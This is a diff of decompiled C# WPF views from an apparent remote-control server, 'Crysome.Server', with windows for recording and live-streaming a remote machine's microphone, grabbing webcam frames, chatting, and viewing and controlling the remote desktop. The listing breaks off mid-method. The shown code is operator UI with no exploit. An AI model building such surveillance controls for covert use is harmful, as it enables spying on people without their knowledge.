_devices = devs ?? new string[0];
|
||||
if (_devices.Length == 0)
|
||||
{
|
||||
_devices = new string[1] { "(No microphones found)" };
|
||||
}
|
||||
MicCombo.Items.Clear();
|
||||
for (int i = 0; i < _devices.Length; i++)
|
||||
{
|
||||
MicCombo.Items.Add(_devices[i] ?? ("Mic " + i));
|
||||
}
|
||||
if (MicCombo.Items.Count > 0)
|
||||
{
|
||||
MicCombo.SelectedIndex = 0;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void RecordBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((UIElement)(object)RecordBtn).IsEnabled = false;
|
||||
StatusText.Text = "Recording on remote machine...";
|
||||
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
|
||||
_vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData)
|
||||
{
|
||||
((UIElement)(object)RecordBtn).IsEnabled = true;
|
||||
if (wavData == null || wavData.Length == 0)
|
||||
{
|
||||
StatusText.Text = "No audio received.";
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav");
|
||||
File.WriteAllBytes(tmp, wavData);
|
||||
_player?.Close();
|
||||
_player = new MediaPlayer();
|
||||
_player.Open(new Uri(tmp));
|
||||
_player.MediaEnded += delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(tmp);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_player.Close();
|
||||
};
|
||||
_player.Play();
|
||||
StatusText.Text = "Playing " + wavData.Length / 1024 + " KB...";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Play failed: " + ex.Message;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void ListenBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
|
||||
_listening = true;
|
||||
((UIElement)(object)ListenBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopListenBtn).IsEnabled = true;
|
||||
((UIElement)(object)RecordBtn).IsEnabled = false;
|
||||
StatusText.Text = "Listening live...";
|
||||
WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
|
||||
_bufferedProvider = new BufferedWaveProvider(waveFormat)
|
||||
{
|
||||
BufferDuration = TimeSpan.FromSeconds(5L)
|
||||
};
|
||||
_waveOut = new WaveOutEvent();
|
||||
_waveOut.Init(_bufferedProvider);
|
||||
_waveOut.Play();
|
||||
_vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk)
|
||||
{
|
||||
if (!_listening || _bufferedProvider == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
_bufferedProvider.AddSamples(chunk, 0, chunk.Length);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void StopListenBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
StopListening();
|
||||
}
|
||||
|
||||
private void StopListening()
|
||||
{
|
||||
_listening = false;
|
||||
_vm?.StopAudioStream(_client);
|
||||
((UIElement)(object)ListenBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopListenBtn).IsEnabled = false;
|
||||
((UIElement)(object)RecordBtn).IsEnabled = true;
|
||||
try
|
||||
{
|
||||
_waveOut?.Stop();
|
||||
_waveOut?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_waveOut = null;
|
||||
_bufferedProvider = null;
|
||||
StatusText.Text = "Stopped.";
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005e: Expected O, but got Unknown
|
||||
//IL_0085: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_008f: Expected O, but got Unknown
|
||||
//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00b3: Expected O, but got Unknown
|
||||
//IL_00cd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00d7: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
MicCombo = (ComboBox)target;
|
||||
break;
|
||||
case 5:
|
||||
RecordBtn = (Button)target;
|
||||
((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
ListenBtn = (Button)target;
|
||||
((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
StopListenBtn = (Button)target;
|
||||
((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click;
|
||||
break;
|
||||
case 8:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteCameraWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private string[] _devices = new string[0];
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button RefreshBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal ComboBox CameraCombo;
|
||||
|
||||
internal Image CameraImage;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteCameraWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Camera — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
_vm.Log("RemoteCamera Loaded, calling LoadCameras", "CAM");
|
||||
LoadCameras();
|
||||
};
|
||||
}
|
||||
|
||||
private void LoadCameras()
|
||||
{
|
||||
_vm.GetCameraDevices(_client, delegate(string[] devs)
|
||||
{
|
||||
_devices = devs ?? new string[0];
|
||||
if (_devices.Length == 0)
|
||||
{
|
||||
_devices = new string[1] { "(No cameras found)" };
|
||||
}
|
||||
CameraCombo.Items.Clear();
|
||||
for (int i = 0; i < _devices.Length; i++)
|
||||
{
|
||||
CameraCombo.Items.Add(_devices[i] ?? ("Camera " + i));
|
||||
}
|
||||
if (CameraCombo.Items.Count > 0)
|
||||
{
|
||||
CameraCombo.SelectedIndex = 0;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void RefreshBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((UIElement)(object)RefreshBtn).IsEnabled = false;
|
||||
StatusText.Text = "Requesting frame...";
|
||||
int deviceIndex = ((_devices.Length != 0 && _devices[0] != "(No cameras found)" && CameraCombo.SelectedIndex >= 0) ? CameraCombo.SelectedIndex : 0);
|
||||
_vm.RequestCameraFrame(_client, deviceIndex, delegate(byte[] jpegData)
|
||||
{
|
||||
((UIElement)(object)RefreshBtn).IsEnabled = true;
|
||||
if (jpegData == null || jpegData.Length == 0)
|
||||
{
|
||||
StatusText.Text = "No frame received (no camera?).";
|
||||
CameraImage.Source = null;
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(jpegData);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
CameraImage.Source = bitmapImage;
|
||||
StatusText.Text = "Frame received.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Failed to show frame: " + ex.Message;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotecamerawindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0050: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005a: Expected O, but got Unknown
|
||||
//IL_0074: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_007e: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
RefreshBtn = (Button)target;
|
||||
((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
CameraCombo = (ComboBox)target;
|
||||
break;
|
||||
case 6:
|
||||
CameraImage = (Image)target;
|
||||
break;
|
||||
case 7:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteChatWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal ListBox ChatList;
|
||||
|
||||
internal TextBox MessageBox;
|
||||
|
||||
internal Button SendBtn;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteChatWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Chat — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
_vm.RegisterChatHandler(_client, OnChatMessage);
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
_vm.UnregisterChatHandler(_client);
|
||||
};
|
||||
}
|
||||
|
||||
private void OnChatMessage(string from, string msg)
|
||||
{
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
||||
{
|
||||
ChatList.Items.Add("[" + from + "]: " + msg);
|
||||
if (ChatList.Items.Count > 0)
|
||||
{
|
||||
ChatList.ScrollIntoView(ChatList.Items[ChatList.Items.Count - 1]);
|
||||
}
|
||||
}, Array.Empty<object>());
|
||||
}
|
||||
|
||||
private void SendBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
SendMessage();
|
||||
}
|
||||
|
||||
private void MessageBox_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Invalid comparison between Unknown and I4
|
||||
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
||||
if ((int)e.Key == 6 && !((Enum)e.KeyboardDevice.Modifiers).HasFlag((Enum)(object)(ModifierKeys)4))
|
||||
{
|
||||
e.Handled = true;
|
||||
SendMessage();
|
||||
}
|
||||
}
|
||||
|
||||
private void SendMessage()
|
||||
{
|
||||
string text = MessageBox?.Text?.Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
MessageBox.Clear();
|
||||
_vm.SendChatMessage(_client, text);
|
||||
OnChatMessage("You", text);
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotechatwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0050: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005a: Expected O, but got Unknown
|
||||
//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00af: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
ChatList = (ListBox)target;
|
||||
break;
|
||||
case 5:
|
||||
MessageBox = (TextBox)target;
|
||||
MessageBox.KeyDown += MessageBox_KeyDown;
|
||||
break;
|
||||
case 6:
|
||||
SendBtn = (Button)target;
|
||||
((ButtonBase)(object)SendBtn).Click += SendBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,571 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteDesktopWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private int _remoteWidth = 1920;
|
||||
|
||||
private int _remoteHeight = 1080;
|
||||
|
||||
private bool _streaming;
|
||||
|
||||
private volatile byte[] _latestJpeg;
|
||||
private System.Windows.Media.Imaging.WriteableBitmap _writeableBitmap;
|
||||
private System.Drawing.Bitmap _decodeBitmap;
|
||||
private readonly object _frameLock = new object();
|
||||
private bool _renderHooked;
|
||||
|
||||
private ScreenInfo[] _screens;
|
||||
|
||||
private DateTime _lastMouseMove = DateTime.MinValue;
|
||||
|
||||
private System.Windows.Controls.ComboBox _captureModeCombo;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal ComboBox ScreenCombo;
|
||||
|
||||
internal Button StartBtn;
|
||||
|
||||
internal Button StopBtn;
|
||||
|
||||
internal Button MinimizeBtn;
|
||||
|
||||
internal Button MaximizeBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal Border DesktopArea;
|
||||
|
||||
internal Viewbox DesktopViewbox;
|
||||
|
||||
internal Image DesktopImage;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
internal TextBlock QualityText;
|
||||
|
||||
internal ToggleSwitch MouseControlSwitch;
|
||||
|
||||
internal ToggleSwitch KeyboardControlSwitch;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteDesktopWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Desktop — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
// Find the parent of ScreenCombo to insert our capture mode combo
|
||||
var screenParent = System.Windows.Media.VisualTreeHelper.GetParent(ScreenCombo) as System.Windows.Controls.Panel;
|
||||
if (screenParent != null)
|
||||
{
|
||||
_captureModeCombo = new System.Windows.Controls.ComboBox();
|
||||
_captureModeCombo.Items.Add("Auto (DXGI → GDI+)");
|
||||
_captureModeCombo.Items.Add("DXGI Only");
|
||||
_captureModeCombo.Items.Add("GDI+ Only");
|
||||
_captureModeCombo.SelectedIndex = 0;
|
||||
_captureModeCombo.Width = 160;
|
||||
_captureModeCombo.Margin = new Thickness(8, 0, 0, 0);
|
||||
// Insert after ScreenCombo
|
||||
int idx = screenParent.Children.IndexOf(ScreenCombo);
|
||||
if (idx >= 0)
|
||||
screenParent.Children.Insert(idx + 1, _captureModeCombo);
|
||||
else
|
||||
screenParent.Children.Add(_captureModeCombo);
|
||||
}
|
||||
((UIElement)this).AddHandler(UIElement.PreviewKeyDownEvent, (Delegate)new KeyEventHandler(OnPreviewKeyDown), true);
|
||||
((UIElement)this).AddHandler(UIElement.PreviewKeyUpEvent, (Delegate)new KeyEventHandler(OnPreviewKeyUp), true);
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
if (_renderHooked)
|
||||
{
|
||||
_renderHooked = false;
|
||||
System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
|
||||
}
|
||||
if (_streaming)
|
||||
{
|
||||
_vm.StopRemoteDesktop(_client);
|
||||
}
|
||||
_vm.UnregisterDesktopFrames(_client);
|
||||
try { _decodeBitmap?.Dispose(); } catch { }
|
||||
};
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
RequestScreenList();
|
||||
};
|
||||
}
|
||||
|
||||
private void RequestScreenList()
|
||||
{
|
||||
ScreenCombo.Items.Clear();
|
||||
ScreenCombo.Items.Add("Loading...");
|
||||
ScreenCombo.SelectedIndex = 0;
|
||||
ScreenCombo.IsEnabled = false;
|
||||
_vm.GetScreens(_client, delegate(ScreensResponsePacket resp)
|
||||
{
|
||||
_screens = ((resp != null) ? resp.Screens : null);
|
||||
ScreenCombo.Items.Clear();
|
||||
if (_screens == null || _screens.Length == 0)
|
||||
{
|
||||
ScreenCombo.Items.Add("Primary (default)");
|
||||
ScreenCombo.SelectedIndex = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int i = 0; i < _screens.Length; i++)
|
||||
{
|
||||
ScreenInfo val = _screens[i];
|
||||
string text = "Screen " + (i + 1) + " (" + val.Width + "x" + val.Height + ")";
|
||||
if (val.IsPrimary)
|
||||
{
|
||||
text += " ★";
|
||||
}
|
||||
ScreenCombo.Items.Add(text);
|
||||
}
|
||||
for (int j = 0; j < _screens.Length; j++)
|
||||
{
|
||||
if (_screens[j].IsPrimary)
|
||||
{
|
||||
ScreenCombo.SelectedIndex = j;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (ScreenCombo.SelectedIndex < 0)
|
||||
{
|
||||
ScreenCombo.SelectedIndex = 0;
|
||||
}
|
||||
}
|
||||
ScreenCombo.IsEnabled = true;
|
||||
});
|
||||
}
|
||||
|
||||
private int GetSelectedScreenIndex()
|
||||
{
|
||||
if (_screens == null || _screens.Length == 0)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
int selectedIndex = ScreenCombo.SelectedIndex;
|
||||
if (selectedIndex < 0 || selectedIndex >= _screens.Length)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
return selectedIndex;
|
||||
}
|
||||
|
||||
private void OnPreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
|
||||
{
|
||||
int num = KeyInterop.VirtualKeyFromKey(e.Key);
|
||||
if (num >= 0 && num <= 255)
|
||||
{
|
||||
_vm.SendRemoteInput(_client, 3, 0, 0, num);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OnPreviewKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true && ((Window)this).IsActive)
|
||||
{
|
||||
int num = KeyInterop.VirtualKeyFromKey(e.Key);
|
||||
if (num >= 0 && num <= 255)
|
||||
{
|
||||
_vm.SendRemoteInput(_client, 4, 0, 0, num);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_streaming = true;
|
||||
((UIElement)(object)StartBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopBtn).IsEnabled = true;
|
||||
ScreenCombo.IsEnabled = false;
|
||||
byte captureMode = (byte)(_captureModeCombo?.SelectedIndex ?? 0);
|
||||
string modeName = captureMode == 1 ? "DXGI" : captureMode == 2 ? "GDI+" : "Auto";
|
||||
StatusText.Text = $"Streaming ({modeName})... Click on image to control mouse/keyboard.";
|
||||
QualityText.Text = "Quality: HD (80)";
|
||||
DesktopArea?.Focus();
|
||||
int selectedScreenIndex = GetSelectedScreenIndex();
|
||||
if (!_renderHooked)
|
||||
{
|
||||
_renderHooked = true;
|
||||
System.Windows.Media.CompositionTarget.Rendering += OnVsyncRender;
|
||||
}
|
||||
_vm.StartRemoteDesktop(_client, 16, selectedScreenIndex, captureMode, delegate(byte[] imageData)
|
||||
{
|
||||
if (imageData != null && imageData.Length > 0)
|
||||
_latestJpeg = imageData;
|
||||
}, delegate(int quality)
|
||||
{
|
||||
string text = ((quality >= 70) ? "HD" : ((quality >= 50) ? "Medium" : ((quality >= 35) ? "Low" : "Very Low")));
|
||||
int num = ((quality >= 80) ? 30 : ((quality >= 65) ? 10 : ((quality >= 50) ? 5 : ((quality >= 35) ? 3 : 2))));
|
||||
QualityText.Text = "Quality: " + text + " (" + quality + " / " + num + " fps)";
|
||||
});
|
||||
}
|
||||
|
||||
private void OnVsyncRender(object sender, EventArgs e)
|
||||
{
|
||||
if (!_streaming)
|
||||
return;
|
||||
|
||||
byte[] jpeg = _latestJpeg;
|
||||
if (jpeg == null)
|
||||
return;
|
||||
_latestJpeg = null;
|
||||
|
||||
try
|
||||
{
|
||||
using (var ms = new MemoryStream(jpeg))
|
||||
{
|
||||
var bmp = _decodeBitmap;
|
||||
if (bmp != null)
|
||||
{
|
||||
try { bmp.Dispose(); } catch { }
|
||||
}
|
||||
_decodeBitmap = new System.Drawing.Bitmap(ms);
|
||||
bmp = _decodeBitmap;
|
||||
|
||||
int w = bmp.Width;
|
||||
int h = bmp.Height;
|
||||
|
||||
if (_writeableBitmap == null || _writeableBitmap.PixelWidth != w || _writeableBitmap.PixelHeight != h)
|
||||
{
|
||||
_writeableBitmap = new System.Windows.Media.Imaging.WriteableBitmap(
|
||||
w, h, 96, 96, System.Windows.Media.PixelFormats.Bgr24, null);
|
||||
DesktopImage.Source = _writeableBitmap;
|
||||
_remoteWidth = w;
|
||||
_remoteHeight = h;
|
||||
}
|
||||
|
||||
var bmpData = bmp.LockBits(
|
||||
new System.Drawing.Rectangle(0, 0, w, h),
|
||||
System.Drawing.Imaging.ImageLockMode.ReadOnly,
|
||||
System.Drawing.Imaging.PixelFormat.Format24bppRgb);
|
||||
|
||||
_writeableBitmap.Lock();
|
||||
try
|
||||
{
|
||||
IntPtr src = bmpData.Scan0;
|
||||
IntPtr dst = _writeableBitmap.BackBuffer;
|
||||
int srcStride = bmpData.Stride;
|
||||
int dstStride = _writeableBitmap.BackBufferStride;
|
||||
|
||||
if (srcStride == dstStride)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
Buffer.MemoryCopy((void*)src, (void*)dst, dstStride * h, srcStride * h);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int copyLen = Math.Min(srcStride, dstStride);
|
||||
for (int y = 0; y < h; y++)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
Buffer.MemoryCopy(
|
||||
(byte*)src + y * srcStride,
|
||||
(byte*)dst + y * dstStride,
|
||||
copyLen, copyLen);
|
||||
}
|
||||
}
|
||||
}
|
||||
_writeableBitmap.AddDirtyRect(new System.Windows.Int32Rect(0, 0, w, h));
|
||||
}
|
||||
finally
|
||||
{
|
||||
_writeableBitmap.Unlock();
|
||||
bmp.UnlockBits(bmpData);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_streaming = false;
|
||||
((UIElement)(object)StartBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopBtn).IsEnabled = false;
|
||||
ScreenCombo.IsEnabled = true;
|
||||
_vm.StopRemoteDesktop(_client);
|
||||
_vm.UnregisterDesktopFrames(_client);
|
||||
if (_renderHooked)
|
||||
{
|
||||
_renderHooked = false;
|
||||
System.Windows.Media.CompositionTarget.Rendering -= OnVsyncRender;
|
||||
}
|
||||
_latestJpeg = null;
|
||||
try { _decodeBitmap?.Dispose(); } catch { }
|
||||
_decodeBitmap = null;
|
||||
_writeableBitmap = null;
|
||||
DesktopImage.Source = null;
|
||||
StatusText.Text = "Stopped.";
|
||||
QualityText.Text = "";
|
||||
}
|
||||
|
||||
private void MinimizeBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).WindowState = WindowState.Minimized;
|
||||
}
|
||||
|
||||
private void MaximizeBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (((Window)this).WindowState == WindowState.Maximized)
|
||||
{
|
||||
((Window)this).WindowState = WindowState.Normal;
|
||||
((ContentControl)(object)MaximizeBtn).Content = "□";
|
||||
((FrameworkElement)(object)MaximizeBtn).ToolTip = "Maximize";
|
||||
}
|
||||
else
|
||||
{
|
||||
